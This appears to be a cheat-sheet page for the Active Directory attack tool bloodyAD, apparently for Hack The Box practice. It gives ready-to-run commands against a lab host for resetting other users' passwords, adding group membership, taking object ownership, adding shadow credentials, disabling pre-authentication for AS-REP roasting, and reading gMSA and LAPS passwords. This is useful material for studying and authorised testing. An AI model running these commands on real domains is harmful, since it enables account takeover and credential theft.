bloodyAD
bloodyAD talks LDAP directly and turns each BloodHound edge into a command: GenericAll or ForceChangePassword is set password, AddMember is add groupMember, WriteOwner is set owner. It is the fastest way to walk an attack path from Linux.
- Platform
- Linux · Windows (Python)
- Official site
- github.com/CravateRouge/bloodyAD
- On HTB
- 12 machines
Install
pipx install bloodyAD- T1098 Account Manipulation
- T1069.002 Domain Groups
- ACL abuse (BloodHound)
- Shadow Credentials
- gMSA accounts
- Reading LAPS passwords
bloodyAD cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
What can I modify
Objects you can write to
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get writable --detailAbusing ACLs
Reset another user's password
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set password victima 'NuevaClave123!'
Add yourself to a group
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add groupMember 'NOMBRE DEL GRUPO' usuario
Take ownership and grant yourself full control
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set owner victima usuario
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add genericAll victima usuario
Shadow credentials
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add shadowCredentials victima
Disable pre-authentication (targeted AS-REP roasting)
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add uac victima -f DONT_REQ_PREAUTHReading passwords
gMSA
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get object 'cuenta_gmsa$' --attr msDS-ManagedPassword
LAPS
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtimeNo command matches.
HTB machines where bloodyAD is used
Taken from the chapters of IppSec videos where bloodyAD shows up. The ▶ link jumps to the minute of that part.
Guides that use bloodyAD
- Active Directory ACL abuse: GenericAll, WriteDacl, Shadow Credentials and DCSync 4 min read What to do with each BloodHound edge: reset passwords, add yourself to groups, Shadow Credentials, grant yourself DCSync with WriteDacl, read LAPS or gMSA.
- Passwords in Active Directory: GPP (Groups.xml), LAPS and gMSA 3 min read Three places where the domain itself stores passwords you can read: cpassword in Groups.xml, the LAPS local admin password and the hash of gMSA accounts.